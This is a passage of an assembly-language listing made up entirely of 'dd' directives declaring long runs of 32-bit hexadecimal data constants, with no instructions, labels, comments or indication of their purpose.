		dd 0C5E833DAh, 72008F56h, 207A4315h, 78FFF0h, 6C5D34C9h
		dd 12631335h, 62C5B303h, 0B8020637h, 4B9A58h, 1E251BE5h
		dd 0B47B17FEh, 0DF569B16h, 0EB0B0Bh, 0C340D7FFh, 0DCFB0071h
		dd 0B129279Eh, 0F009034h, 0CD899D70h, 193C4A0h,	3CCC0824h
		dd 0DC011036h, 1E00AE0Ch, 0A5777ED8h, 0ABFB9Ah,	83BEAAB1h
		dd 0FD829236h, 0E3029800h, 54B9A029h, 0CB460095h, 0D3F34A78h
		dd 10005041h, 71303ACAh, 177638D1h, 0A7D226h, 0E6B56718h
		dd 4EF4B909h, 56C0D500h, 3D34F72Ch, 0D24807DDh,	60128E55h
		dd 0E2A1ECC9h, 0F2D0D803h, 0C0660141h, 1F2EA9AAh, 0C072086Dh
		dd 223AC7E1h, 26007D32h, 0A59C6CBFh, 5D204F9h, 87156380h
		dd 3D20C0A9h, 9030727h,	4659376Bh, 9540873Ah, 1D83C6h
		dd 48FD34A7h, 49D7BEFEh, 5808C700h, 0EDDE1501h,	0ADA01766h
		dd 32B400CCh, 69CA9D57h, 830E4700h, 0F8B4EBD9h,	0E01800F3h
		dd 0EFA829F1h, 9D7F913Ch, 88DE8E00h, 235271A9h,	78621C18h
		dd 0A82240AFh, 4E9E8229h, 0A0070E4h, 16D0481Ah,	110B4F4h
		dd 52CDDACEh, 3060A030h, 0F92802C0h, 2300EADBh,	7C2E1B54h
		dd 4D1235D4h, 0B1068C59h, 38BD78A3h, 0BCD30A07h, 20CFDA72h
		dd 0E05CD7B0h, 8228C08Eh, 770F5452h, 518B59C0h,	7DEC23h
		dd 0DF7022D9h, 0C23AFBEEh, 87DC2600h, 0DB8C0872h, 3DE2C058h
		dd 0DE5DD8A0h, 2004496h, 0B83C207h, 75778BDh, 0F3103315h
		dd 0D6ACB043h, 0D3EAF8E7h, 6805061Bh, 857DA911h, 1C451ECh
		dd 37FB0BD8h, 0FC812F10h, 91015EBCh, 42BB9DACh,	0DEF884F8h
		dd 0A8801E46h, 0E05AC016h, 0F7220B64h, 0D140BB00h, 180C851Ch
		dd 0B07A0076h, 3E9D2BE6h, 3078133h, 9711D032h, 0BC03F547h
		dd 0E625E06Eh, 0CEB23031h, 0BB6F44C0h, 9B76A40Eh, 758E8061h
		dd 0DCAC63h, 911DDEAh, 1253D6BCh, 0B05F9B2Eh, 0CC6BCA00h
		dd 285BD21h, 0C38F2925h, 0F0E8C236h, 5F008704h,	6FEF9B7Ah
		dd 1E8D398h, 552E4A69h,	4134D9B2h, 0F00599C3h, 0A6006C7Dh
		dd 0FF48B06Fh, 0E76885h, 86BC1B17h, 7DDFBE98h, 76A2270Eh
		dd 3161B839h, 371A07DAh, 3008C0B6h, 65343019h, 4D033Ch
		dd 1CCBE18Ah, 9652F6h, 388509E0h, 0FBE54E55h, 0A00B90h
		dd 7007B103h, 0A56D5E89h, 37BA51E0h, 48B7019Ah,	8D148C8Fh
		dd 290509Fh, 0DF03B198h, 9B21A3A5h, 4380D0A2h, 0E42E193Ah
		dd 0F01DACE2h, 717E1833h, 0EEBA5000h, 739302A6h, 48C9624h
		dd 906B14D2h, 0D4DF4F38h, 0A4E1780Eh, 8081CEC9h, 5B79B851h
		dd 6DCB00C7h, 0E733C65Dh, 6300826Fh, 8273843h, 2B725Ch
		dd 0F0456952h, 8C098603h, 89FB7D00h, 0C49408FCh, 1B28C007h
		dd 72A006C6h, 0CF7CCE03h, 0E8A8F786h, 0C54746h,	613E1623h
		dd 60E8BAF8h, 41179800h, 0F9FA8F39h, 0CCA000C0h, 352F3422h
		dd 25F63068h, 120F20FEh, 11DE34Eh, 66E52DDAh, 1690F8h
		dd 0C70BCCAh, 0F20632AAh, 0DA501700h, 0D501FC92h, 309CA0A3h
		dd 0C01A013Bh, 60B8FAC8h, 43E6FC3Ch, 0F784BD3Ch, 16908498h
		dd 63677D00h, 33CE1129h
		dd 0E469022Bh, 0D39FF65h, 0C0C793E0h, 51CDBB03h, 0F1D6281Ch
		dd 0CFE48777h, 0BE3200C6h, 0EAB66833h, 4518F2E5h, 0C8A92916h
		dd 0C8303A2h, 2A142E40h, 925FAE00h, 8C2CF853h, 0B814A051h
		dd 0C61E077Ah, 806524C0h, 280CD257h, 0A187EC00h, 0AFA220EFh
		dd 6FDB06DDh, 102C19DFh, 8E390C0Fh, 0DA9C83CCh,	6A2EF8A9h
		dd 15F660h, 0E6C07546h,	0D489CF9Ah, 1CAD5D00h, 9E262127h
		dd 1ED170CBh, 93574Fh, 3D6BB60h, 0C003BE9Ch, 197591CFh
		dd 0F662C85Dh, 0FE7F0E3Dh, 9480BBEFh, 0D33A025Ch, 80B21501h
		dd 1260965h, 47DA8741h,	0B496F0h, 24DBDC38h, 978F9EB6h
		dd 0C92B8600h, 0B2674D0Fh, 84990325h, 65FC9FA7h, 0E08322EBh
		dd 39378EE0h, 0D8C5F400h, 6E254C9Eh, 0BED400BFh, 0A4424A15h
		dd 0FD3BA821h, 59188E32h, 0E7E5005Ah, 24367572h, 3DD749h
		dd 0A28A3D4Fh, 0ED00716Dh, 1FEBEA06h, 0D03528h,	0A3873AA6h
		dd 71890E38h, 0C8073D00h, 4E1AF55Ah, 3FD5003Eh,	0C2723CD4h
		dd 0D101F737h, 0AC421484h, 7DC4F921h, 0DC80311h, 85B1410Bh
		dd 7A83FD3h, 610FFDEFh,	0C782D1BFh, 0E8207DC6h,	0E7B89Bh
		dd 2AA397EEh, 83DC2723h, 79045FECh, 6F6CAAEh, 0E3D04A87h
		dd 78A8539Fh, 2826380Eh, 2C03BC4Ah, 4F0087B3h, 5A183F4Ch
		dd 0BC45009Ch, 0F982ED44h, 0C90C023h, 16BE3A3Ah, 5100D7FFh
		dd 1C2F30CFh, 0BCF700A3h, 0BB4BFA05h, 0B601924Ah, 0AEF8098Ah
		dd 2ED08344h, 155A000Fh, 22D58F1Ch, 0F303DE9Bh,	0B6AE72B7h
		dd 0B87B097h, 0B92500EDh, 0D56F46D7h, 8A002873h, 400650CEh
		dd 0C14991h, 0C04F2DCBh, 17B2A29Fh, 198AC900h, 1D634D36h
		dd 0DE023EDCh, 5B951500h, 0FDFAD4F7h, 375F302h,	0E84A2B0Dh
		dd 9394D4h, 0CA6BF12Eh,	0E7A92297h, 0B41E6670h,	0A4804C92h
		dd 7AA3B252h, 9A9E0035h, 0F0DC20B5h, 88004E22h,	0D2C6CD38h
		dd 0D1A7A5h, 62C9B3E4h,	9DB4FC8h, 0FD00D0E6h, 5917FB60h
		dd 3003A66Fh, 0A1DEA510h, 5B0008AEh, 3B726A88h,	14F2B47h
		dd 26430DCAh, 808984ACh, 0F8CDD2AAh, 0A7B78h, 0FB2D01CEh
		dd 4E83AD53h, 1DE5E400h, 0C90CA0D2h, 0EA1C004Ch, 7607AE06h
		dd 0B904A390h, 249B0B1Ah, 1DE40BF0h, 4E95F736h,	0B88032E1h
		dd 38136673h, 0EDC38A1Dh, 58B91B07h, 7C976420h,	0A65D07B4h
		dd 50441CFBh, 9FE5FA93h, 0C67A400h, 0E2E7373Bh,	0DDD0043Fh
		dd 0C0C6742Fh, 4DE02997h, 0D4E4D600h, 7E6C4E03h, 303F1CFEh
		dd 341B80A3h, 0B685B8Bh, 0A4AFAD01h, 57CD964Ah,	0BAA0A13Eh
		dd 2303796Ah, 0C4475B6Bh, 1287F079h, 54EC85h, 1BC234E9h
		dd 4715AA83h, 602A100h,	5E493D87h, 78137F73h, 80290979h
		dd 60A0CF20h, 0BBEC456Dh, 0A5D79300h, 0BD92313Ah, 2A743B50h
		dd 0A7C36BBh, 99ECCC69h, 0EB2D00E8h, 0B737BCAh,	0FA32E40Fh
		dd 85AF60EEh, 1E9A153h,	63B38801h, 0D74C8E6Eh, 1AD654E0h
		dd 9238F100h, 0B7FA64CFh, 0F3490032h, 124A1C9Eh, 0AB008BDCh
		dd 15B029A2h, 5C99275Ah, 0DF008116h, 30B6E5C0h,	8005243Fh
		dd 15069AEFh, 2D0CA400h, 7C722FCh, 0DAEEA2F7h, 1C9DD066h
		dd 0D600FD8Ch, 7D24659Eh, 280BFE33h, 0B118A4h, 40D57BF4h
		dd 9FC5E5BCh, 5D210D00h, 0AC11FF2Eh, 0A33A2DA9h, 6C00F358h
		dd 9EA1ADA7h, 0A493CDh,	609C1928h, 0B2863097h, 5BB17809h
		dd 0D0FC801Fh, 169E284h, 4347753Ah, 0E0E6813Eh,	8300201Ch
		dd 4E6A655Bh, 30E60F4h,	55B01E97h, 10A03A0Bh, 0EB00B5BCh
		dd 0AE916762h, 316FFEh,	161425E7h, 0A6CD52F8h, 2F5B2A00h
		dd 0BBE65894h, 73190E8Ch, 33C0A09Fh, 206F477Bh,	4A6DC80Fh
		dd 1EFC0027h, 0C3DC5Ch,	93015A21h, 421B83EFh, 64BC841Ch
		dd 4C4ABE00h, 780EB8h, 0F72E958Dh, 8945D31Ch, 96623507h
		dd 5575FF8h, 59327CC0h,	0DF0C0AB5h, 1FD3FE53h, 3206483h
		dd 559EA76Bh, 7FFA4A88h, 3619202h, 0C04DD594h, 0F33DA14h
		dd 4E9C2435h, 167FEB00h, 9848A15Eh, 6D120096h, 0D3EF036Bh
		dd 95B900A2h, 1DF4C9F0h, 1301411Ah, 3870D844h, 5080908Bh
		dd 0AEB9E65Fh, 620C98F0h, 26B264B7h, 0B37F1D61h, 7775005Ch
		dd 0D9C17A11h, 3217C00h, 97653DE9h, 1DD40019h, 153FB704h
		dd 802CC4Dh, 2676DB6Bh,	0E22BC0A2h, 87480150h, 4F9CD6E8h
		dd 0DBA8C4DDh, 5555E13h, 0D3ACCA00h, 77CBB1D5h,	167100B7h
		dd 0EFE15CB0h, 38002904h, 2E7E2615h, 33F7BD6h, 0C21EF4E3h
		dd 6E90DB3Bh, 0EA0AAC66h, 8C8A6F2Ah, 0DB60E3Ch,	5DB7A119h
		dd 0F7F47D45h, 9D080098h, 23DB1D4Dh, 0B04CD84h,	0E16534A5h
		dd 4AB87A80h, 0C90D07C6h, 0A07D593Ch, 0DB398391h, 0B230AB02h
		dd 6982FE1Ch, 4EDD7702h, 0DCBDC4h, 0E91E4856h, 408DEBA9h
		dd 7B545513h, 34A73601h, 4DF4EDFAh, 0E810794Eh,	0D0662A1Ah
		dd 0F9534888h, 9F628F00h, 0AF0D1EBFh, 281AB701h, 63F149CFh
		dd 88EC26F1h, 78D600D0h, 0A2CA6884h, 0FC2CFF1Dh, 0CC00CAD7h
		dd 0C338CD13h, 0A1E00123h, 0CEA8DCACh, 0FF01608Dh, 0F051B900h
		dd 9B9C46C7h, 0E7B00Ch,	40BE2612h, 1D52A017h, 70332726h
		dd 0D27F9103h, 0D16EF9A9h, 0A4996881h, 60D50540h, 83002F40h
		dd 0F9AF2B9Ch, 2CF98h, 0F6AD73A7h, 4381F8B7h, 59FBA80Ah
		dd 6597A031h, 8B84C400h, 1475B6D1h, 0BC8EB95Ah,	60B0EA09h
		dd 0ACBE8D80h, 8201A22Eh, 9AA4F976h, 108F2C1Ch,	7B20D63Eh
		dd 0F21BF463h, 40F8F898h, 5DA44F00h, 2DAC05Eh, 0A3C1001Fh
		dd 0BFD1CAF3h, 0E5004B8Bh, 0C22B0A8Ah, 44731Eh,	602DC11Dh
		dd 10319B1h, 6D188000h,	0DC92EAE2h, 0C0840024h,	1E52EC3Bh
		dd 1407888Fh, 5067ABD3h, 875BE520h, 3F33002Ah, 344705Eh
		dd 8B581F17h, 0B2017FB8h, 7907582Ch, 470BBD6h, 133A3CE9h
		dd 42302133h, 32BA09C8h, 0E8DF0303h, 0B8017E6Ah, 0EE13857h
		dd 12CD17BCh, 8FD6AB23h, 0F36A4AF0h, 1C99E401h,	174D77BDh
		dd 3CD75CD8h, 0B080B1E9h, 0E1E221A1h, 34703C97h, 0BC00B3E8h
		dd 0FB914B5Bh, 7A2F86Bh, 0E44A43B7h, 58BA0378h,	0F35BA1B8h
		dd 0A0851D00h, 0D3C301Ch, 322000E7h, 0BD475A81h, 4101AA54h
		dd 50FAB2D6h, 0CC41C376h, 0AF603119h, 5E54268Dh, 92600ACh
		dd 5FCBE760h, 0E40390A1h, 200226Bh, 0A4447123h,	0C08C968Dh
		dd 0AC5D0630h, 0F8076A6Ch, 957EE068h, 18401230h, 8F9300F6h
		dd 98B645BCh, 0ED02AACBh, 0C6DFFC6h, 0E7C00764h, 5272B076h
		dd 0F5E6DECEh, 961C1952h, 0C60076FCh, 2068F9F8h, 0CDB00913h
		dd 9238C762h, 41011EF0h, 9E20BEF9h, 17C06887h, 1E491808h
		dd 5FD2A8ABh, 13FBE87h,	385D1C98h, 0B152D060h, 2ED30210h
		dd 8A9501h, 574F4C40h, 58FC9234h, 0F2483Ch, 0DE07A159h
		dd 0A6A0670Bh, 0BF8118ADh, 6FDDA5A9h, 21806880h, 0C172DECFh
		dd 80608956h, 8461FABFh, 662604BAh, 60BD38E0h, 203C27C1h
		dd 0C048A16Ch, 0DCDE2BA1h, 9E716D60h, 3090611Dh, 41E78120h
		dd 5ECFE1F4h, 881B3ADCh, 38F2F84Eh, 573B6C5Ch, 81483BA9h
		dd 2A75CEB7h, 60288AF9h, 3AF88CB3h, 8CCC109Dh, 0C040175Ch
		dd 0B088B311h, 300F786Fh, 0A0308641h, 0E000BAA9h, 0DF6243B2h
		dd 5314C872h, 57C064EDh, 86F091Ah, 8066271Ch, 70F6BBCDh
		dd 543CFC04h, 0F4540CF9h, 0E0D8D842h, 54303668h, 121B8178h
		dd 0D47D7Eh, 2454C010h,	0FB72F2ECh, 0CE32F61Ah,	3AD43640h
		dd 0FA08094Dh, 0F400F9FBh, 0A57FD127h, 3A1890F7h, 3209AF6Fh
		dd 2406C03Dh, 7C875043h
		dd 213A5581h, 0E0523C31h, 12DAC026h, 0A75974C3h, 1DA9837Ch
		dd 80946F7Fh, 86D560F4h, 8E5E0300h, 0E85D8C99h,	27EF0E4h
		dd 9E211E70h, 0E0BC260Dh, 5AA70104h, 40008DE3h,	0FE211C33h
		dd 53441202h, 8004B31Eh, 8A0CE69Dh, 729E1FBDh, 6850181Ch
		dd 5366A9DEh, 0F038B908h, 720DF5Bh, 0C109231Ah,	0F054E9A5h
		dd 0EC56C1D0h, 9581C3B0h, 1FFED0F9h, 5BE70130h,	613E1C6Bh
		dd 56D8D373h, 0DD0F8A27h, 8303ADC5h, 0A120D236h, 80989F40h
		dd 0D71E90FCh, 0B2DF7100h, 7EA5B3FEh, 88AED84h,	0FB05D53h
		dd 0DE80E71Eh, 0D2DF0AC1h, 10BC83Ah, 0D1DB0C52h, 3887E91Fh
		dd 4380055Eh, 100CBCBEh, 20DAB03Eh, 0F6E1036Dh,	0EC29B592h
		dd 0A470AAA0h, 3A171E18h, 0C9D8C7E0h, 0BCA14C08h, 0C9A47EC3h
		dd 5A8998CFh, 63FC5E08h, 56EA608Dh, 8F102Ch, 0D9763E0Fh
		dd 419817A8h, 21B2088Dh, 0B7F85490h, 37E1503Eh,	97432851h
		dd 0C08812CCh, 0F1EC06F3h, 2A61D0B6h, 6376F238h, 0C61312E0h
		dd 419BB218h, 8CA83D6Eh, 0B3820919h, 8777E014h,	34052B90h
		dd 5EC72F06h, 109EF805h, 0CDD2D01Dh, 709D400Eh,	7C6AFE16h
		dd 0EE0B0C20h, 0F77467h, 488527AAh, 0B93E0154h,	96FE3FCAh
		dd 5C0470B7h, 0BFC3F3F3h, 1F9E1012h, 0F2092C1Eh, 27100616h
		dd 0B65E0088h, 0EB7D8CC6h, 0BE121B3Fh, 64091D03h, 0D840F8Eh
		dd 92EBA089h, 376C4163h, 8C5B9061h, 80716B00h, 30674676h
		dd 0AC220726h, 0A97881E3h, 884628CAh, 0E07C9BCAh, 757649C6h
		dd 47304260h, 0ADF693CFh, 104981B8h, 804B83D0h,	9ACCA780h
		dd 96D7E54h, 873E2119h,	14FE1C01h, 9E08BF8Eh, 9212A471h
		dd 80326809h, 0F77FCBE0h, 0B3E4E9EFh, 0DD20C647h, 0C72C78F2h
		dd 0E40F34A0h, 0CC891E88h, 0B4540279h, 0ED8C60D9h, 110C9025h
		dd 0B0DF13DDh, 60BA86C9h, 0E987D949h, 3E011B05h, 7E21119Ch
		dd 68375192h, 83394183h, 2FD2A1B8h, 80B4E752h, 0B91B43EAh
		dd 0C784A050h, 29570ACCh, 2E4F403h, 0DF124B7Eh,	2A697036h
		dd 0A44BD7h, 523A427h, 8C98C903h, 0C2DC87A3h, 0BC42E654h
		dd 781504Dh, 8D49C431h,	0C2A6E8BBh, 608C23D4h, 0CD82D31Ch
		dd 4478556Eh, 448379CFh, 88B046BBh, 3E6282C0h, 38C24941h
		dd 63E51A47h, 3408B678h, 3C789DFEh, 0B2081E78h,	16465B6Bh
		dd 3B22E8A7h, 40258623h, 12083DE3h, 253B5A3h, 0E0567DB8h
		dd 0A30C649Eh, 0F950B58Ah, 88496287h, 2862B45Eh, 6029836h
		dd 0E502C45Eh, 19E86110h, 8315461h, 0AB1F9C1Fh,	0F8051454h
		dd 8AD50C80h, 0FA58209Dh, 577C4870h, 0A00B8028h, 0C2339F7Bh
		dd 13EF27B0h, 9C01104Fh, 47E01316h, 57360700h, 0E8266498h
		dd 0FB0C18FEh, 2E10FDh,	1EBE4066h, 0EE9E039Ch, 72ECDE05h
		dd 0FC959B80h, 886207Ch, 343DDBD7h, 68D1670Ch, 4C31FF5Dh
		dd 9C486F0h, 0F1B63E41h, 0D1424C04h, 41B7815Ch,	70A159B4h
		dd 0C893ECACh, 0B08B7BE0h, 0A88948E6h, 7C6B4717h, 2A38A2A4h
		dd 30C47B30h, 0DC8186A7h, 0AC34A19Eh, 5B8B0C17h, 0BDA82440h
		dd 7493D290h, 976F82C0h, 5086617Bh, 306E9287h, 80F951C4h
		dd 54A0E650h, 96E74CBEh, 0B78BD868h, 1B222401h,	2A48F27Dh
		dd 3D7EE830h, 9E18072Eh, 0AA5E4883h, 7D8AC20Bh,	1E548316h
		dd 0D091718h, 2F3C09E8h, 1EEFFCA5h, 7B1107DCh, 2FDC153h
		dd 4480E020h, 0A7589898h, 18FE0BC0h, 3B1085E6h,	1A52C8C1h
		dd 58D22870h, 0B2179CABh, 0DA14431Dh, 7AA3CB84h, 892180Ch
		dd 50AA287Eh, 9A13D4F7h, 0DC4E50A0h, 0E4FA3312h, 0F818CF18h
		dd 0D2187892h, 574C0B80h, 8223352h, 24E9CD70h, 37409627h
		dd 84F2D003h, 607162h, 0CE72E0E9h, 6A12ED73h, 0DE194271h
		dd 78084323h, 51F24084h, 2EC9EE7h, 509D38FCh, 0C7D040E2h
		dd 0A412047Fh, 87691E9Eh, 0C1D1B43Ch, 30310B18h, 0C4B014E8h
		dd 0ACD35E16h, 309BC805h, 0FBE9B404h, 0D4956480h, 0F21D018Ah
		dd 0A3BE20CAh, 0F73DE00Fh, 37BC4B50h, 9E280098h, 7F039CD7h
		dd 0D2F6F8BFh, 40E07435h, 704A922Bh, 3A9C407h, 2A107CFh
		dd 4EA3B241h, 9638D2F0h, 201F1828h, 18C26872h, 41DC432h
		dd 737CE041h, 0C5BC9280h, 1D551208h, 4C7A09C8h,	2581146Dh
		dd 0E3CDE80Bh, 6883C20h, 0DD8A0185h, 76E8E07Bh,	146C4C4Bh
		dd 280D075Eh, 2762F2A2h, 46FC40E8h, 0B4487463h,	0C93F1460h
		dd 0AEC2128Ch, 676F0404h, 641990B3h, 39CBB0CFh,	3BC6838Ch
		dd 13EEA35Dh, 20EC898h,	4C0BBD8Ch, 2B01F04Fh, 23249BB4h
		dd 6C28388Bh, 95BE2480h, 1E254076h, 98A40270h, 8F2CE1A9h
		dd 0A0613474h, 0C8029EF4h, 9CA37DF8h, 0DFE9C860h, 8D940F8h
		dd 2E60C300h, 222CE83h,	4FAD2303h, 6B20FC7h, 87C468E5h
		dd 24DC9027h, 9E89EDDh,	0E422AB5Eh, 84C0526Eh, 2C9C6782h
		dd 13C2D4D8h, 45F08A79h, 828B5720h, 44609384h, 9FEF77DEh
		dd 0C42E1008h, 0A14F0h,	70BF4254h, 3B49A8F2h, 0C0B8EC56h
		dd 90D5C78Ch, 8830C27Dh, 30B4E0DAh, 0C70977B0h,	67C2A63h
		dd 85300418h, 7C050330h, 0AAA8DCFEh, 72008136h,	0DD85D55Eh
		dd 744CEB3Ah, 7CA80356h, 0F3C4C3B2h, 0DCE03102h, 0CE0244h
		dd 4A27B435h, 53A1F800h, 5AC2F37h, 78AF7636h, 218F1866h
		dd 3E0B181Dh, 88E0CFFAh, 94B4100h, 0BFEB3B10h, 0AB7839AFh
		dd 492B7862h, 6CF4001Eh, 7E9D59BDh, 0A500155Eh,	18584AD9h
		dd 3A4F3763h, 0EF005084h, 0F2D9546h, 0DC78246Eh, 0CFE854B8h
		dd 5DE4A1Fh, 80F0C50Fh,	54A2524Fh, 0A1413AAFh, 0B7E3EF0Ch
		dd 6507BB08h, 7D188F2Ch, 0D7E02F40h, 0D46F0CDCh, 193805E6h
		dd 0E0F313Fh, 4A6B3A35h, 0F5505857h, 0D06501ACh, 755E733Bh
		dd 0ABE09E8Fh, 1B601829h, 40B46CE4h, 0E2705504h, 574F543Fh
		dd 1168C0C8h, 0A09AF436h, 3FB58Ch, 512F57EBh, 48AF3762h
		dd 31E80E60h, 3118042Dh, 0C25801A4h, 3CF0BC98h,	0D48F16CEh
		dd 0F06F0E00h, 1F2F3178h, 5842Ah, 0F57D638h, 0EBF63345h
		dd 0FC165C01h, 0DD4EEE8Bh, 2B30BC40h, 8776FEFh,	2C7CE100h
		dd 327C630Fh, 24346F20h, 8CEAFh, 9A0C972Fh, 473B380h, 8F83A41Dh
		dd 6BB627C0h, 0B2D4B09h, 0C671C2DCh, 0B3F95480h, 1A01A4ABh
		dd 0E481D0ADh, 184A8E74h, 0C4BA990Fh, 4DF1E1C0h, 6A52A79Bh
		dd 0AC10E10h, 0AA30C1BDh, 0F9C45AA4h, 0E3E0027Ch, 8664BF80h
		dd 0BE0C4496h, 5987212Eh, 5FCB30DBh, 0BD46A1C0h, 2F5E818Dh
		dd 80E05925h, 504C3B38h, 23B9407Ch, 8260BE61h, 6042676Dh
		dd 62FAA889h, 2429BE69h, 7A607C75h, 3086DE6Dh, 30101BECh
		dd 0D6F035E4h, 55567000h, 979C31C9h, 24245649h,	90651C87h
		dd 562E6DDEh, 0C8F0B500h, 0DA42579Dh, 8590AD80h, 80B91B94h
		dd 9557D1ABh, 5B71AA62h, 674B4D8h, 357A1694h, 0F500A8C0h
		dd 0A023BFEAh, 29488263h, 2324B377h, 0D12567FCh, 806A445Eh
		dd 95F1D5B8h, 0C69D4023h, 0C0D29748h, 0A5817C87h, 3B4EC891h
		dd 1D5E3500h, 0F7D79C04h, 1530BE10h, 433BF85h, 44E54988h
		dd 0FEF60858h, 0AC94AD81h, 112E00B6h, 15562F02h, 80DA2624h
		dd 311079F0h, 7531C8A9h, 846C04E6h, 0E7200A7Fh,	8AFCE9D6h
		dd 0F0F8D85Ah, 7F08BC32h, 1273A7F6h, 242C7CB7h,	668D6304h
		dd 0C883AF9Ch, 36BECAFBh, 9A06208Ch, 3964881h, 0BDB507D0h
		dd 0B7753C95h, 8B00EE7Ah, 0F904EAA8h, 0A208B262h, 1E30B478h
		dd 89B193FCh, 3C05CCA8h, 0C0F445E9h, 537C6878h,	85F71F04h
		dd 3C803836h
		dd 26BE76FEh, 0F804EE04h, 971A7F10h, 0DFC01907h, 6812DA43h
		dd 747842BAh, 69AC04FBh, 813B8821h, 5476E030h, 0CD703C1Ch
		dd 0B4F07A09h, 95182007h, 2BC481D3h, 40705FDEh,	0CAAFF7C7h
		dd 341C0649h, 86C6380Ah, 87708770h, 5C194FBh, 558C0004h
		dd 8481C930h, 0C070BB56h, 7CF1CB44h, 81ECAB10h,	58EC80FCh
		dd 1E70AD0Dh, 855B044Ah, 95BC80CCh, 34982FEAh, 7042F32Bh
		dd 0D119E440h, 0F528403Dh, 0BED9B602h, 210DB44h, 0E8826DE5h
		dd 78B40D6Ch, 5AA39E04h, 1CD2C460h, 443C408Ch, 780D566Dh
		dd 0ACF0C480h, 0E8AB3DB7h, 0EDE910E9h, 0AB40BFD5h, 0B8E1ECEDh
		dd 44CC1EFCh, 0D760802Eh, 7C86B0CAh, 18307AD8h,	3889A0A5h
		dd 0A0B0CA75h, 78A68415h, 1D17A074h, 88C320A8h,	988B552Ah
		dd 874FF01Dh, 0A415C610h, 0CEF0F4F3h, 4F22B90Bh, 78916019h
		dd 8758FB44h, 43252415h, 1DF0A07Ch, 0D1314BBh, 0EC02F83Ah
		dd 0AF04E32Eh, 0ECA8023Eh, 2E7F50A9h, 0E9647300h, 68F34984h
		dd 6A4E1CF1h, 0F010EBF1h, 11BFA880h, 0E061FE24h, 1022FECAh
		dd 1B2E892Ch, 0F4705EAEh, 441F48DFh, 401B1263h,	707D150Ch
		dd 0CD0284E3h, 2C64BD4Ah, 8FF86037h, 3A78AD61h,	0C48C3584h
		dd 75C4800Ah, 0EC00D12Bh, 0E91953A4h, 0AD604B04h, 4D76027Ch
		dd 687DCCh, 8F051C55h, 6052E4EAh, 8AB7C68h, 7CB43D41h
		dd 651AB500h, 8FB1A4E9h, 22CC1F9Ch, 0C595713Eh,	7C874439h
		dd 900487ECh, 3B3D81EDh, 80B34904h, 0BD5418C0h,	61700415h
		dd 0AE6DA074h, 0F061521Dh, 9050053Eh, 81F0AFC7h, 363950E4h
		dd 7CF81064h, 0AF8418EAh, 758308B2h, 0E6506098h, 0E33CC49Ch
		dd 7F487C74h, 0CC2416B8h, 0A409344Bh, 18C0118Ch, 0AF617144h
		dd 8C520194h, 24CECBC1h, 0A65C72FCh, 4B044028h,	0C4E37309h
		dd 2103E90h, 0E4B27EF4h, 4A023B3Dh, 0F5F0867Dh,	65C8F8B8h
		dd 911810A7h, 30CEBAA4h, 189AD8E4h, 44256924h, 3E43EC09h
		dd 0EA1509A0h, 0D80039C7h, 77A10555h, 0B0BA602Bh, 536A41E0h
		dd 14174D92h, 9A7B8D02h, 244FA420h, 0A8360B80h,	812E9DD7h
		dd 0E00C7097h, 81EE063Fh, 0BD4767A0h, 0F0679C84h, 5AC97AC3h
		dd 73B3AD9h, 1E30A21Bh,	0DCB08439h, 0C1062C9Fh,	0C13DDA33h
		dd 422ED518h, 0AD78B888h, 0C4AE1C7Ch, 8020DB79h, 0C7FB35DCh
		dd 0A4779D00h, 8EE4BD4Fh, 48BF74A7h, 40C90CAh, 5D184A45h
		dd 3ECD03Eh, 0A4E32F34h, 32A87415h, 9730A93Ah, 1224EC82h
		dd 6DD330C8h, 0E4419B81h, 4421B084h, 0B077FFF0h, 8BB6224h
		dd 88C8EDE4h, 10C4D7DFh, 6C81DB2Fh, 0C45E605Fh,	0B9DABF03h
		dd 0C801F170h, 9C3A0C15h, 40305F37h, 3821FD24h,	0A820FE61h
		dd 4BC82464h, 9C323FD8h, 0E4485C10h, 0F0980543h, 7C38673Ah
		dd 2ED90D62h, 0FFC461AEh, 6531D9BBh, 0F07CC490h, 0E8DF1344h
		dd 5400FB16h, 80EC5684h, 0F0616304h, 10B6C8C4h,	1BE9AF64h
		dd 0E4E30892h, 0C8D848ACh, 68852318h, 0BD7C465Dh, 31B4D759h
		dd 0C6C4BC05h, 16C1B427h, 0C1B1EF47h, 0C6F70038h, 0AB57199Dh
		dd 67A9E0AAh, 683FC0BCh, 402234F3h, 890B438h, 0D052D731h
		dd 0A427C6E4h, 26FAE1C0h, 0CC88107Dh, 979C0701h, 444FEBE7h
		dd 206C8052h, 1129DC65h, 44C06422h, 94D5083Ah, 82950024h
		dd 0FC207DAFh, 28E0009Bh, 5DA0D76Dh, 3102B40Dh,	54809E97h
		dd 0DF9D14EFh, 0FC5F5004h, 0AE57D500h, 0B209C07Dh, 34E211DDh
		dd 36203E3Ch, 4EACE92Eh, 6DA385Bh, 58787008h, 0F97710CFh
		dd 6E1500BFh, 96602391h, 492274D5h, 3EF0F8B7h, 2A2ADB25h
		dd 9702F401h, 1820734Ch, 8214EF7Ah, 3C9D9B1h, 4E77F0A0h
		dd 8A77E4EEh, 0D3353E1Eh, 0F0B1C66h, 0C088051Ah, 0FC472887h
		dd 0A00481D0h, 0C0C4936Eh, 31B88878h, 2B50540h,	97901C6Ch
		dd 5C4F6EA1h, 98894D02h, 0AB952074h, 172690E5h,	0BA978453h
		dd 751F9C7Ch, 1833319Ch, 35F540h, 0FA2F1D97h, 0C540517h
		dd 14B8C09Ah, 0D627D8ACh, 95056436h, 5189BA0Bh,	40B2D492h
		dd 0F765E040h, 0CC0C20h, 0E3F790FEh, 92574B9Fh,	8072BD00h
		dd 88F025D0h, 0F5F63A4Ah, 0AF0D4803h, 0ABF0B0C8h, 0D13D46E8h
		dd 0C60EFAF1h, 5D54CAD4h, 0F066A00h, 13A3649h, 41558BDAh
		dd 0FFD1E999h, 0C29518C0h, 0A08A6D00h, 68F3ADBh, 0C3500651h
		dd 700840C8h, 0CCEAF61Dh, 0ABBBAD00h, 0F91285A8h, 99D4B0D3h
		dd 0D5240065h, 0B78D6315h, 4652F695h, 0AA0CC034h, 80DF2ABFh
		dd 51038BE6h, 0A91768C3h, 0EBAEA0ABh, 0B8E830CCh, 5D45485Ch
		dd 0FF03F074h, 5EA56458h, 0F885A056h, 0B649145Ch, 75B03483h
		dd 1E02CFA8h, 468F05F5h, 1B08015Bh, 0C8B09EF0h,	0CCC56440h
		dd 622AD4D3h, 80765034h, 0CBC0391Eh, 7AF710h, 0AA161426h
		dd 3EC79E8h, 77E94599h,	484728AFh, 705481B4h, 0FE68F6h
		dd 0F0410C86h, 8CB6281Fh, 401A080Dh, 0A7A008h, 0D23588C6h
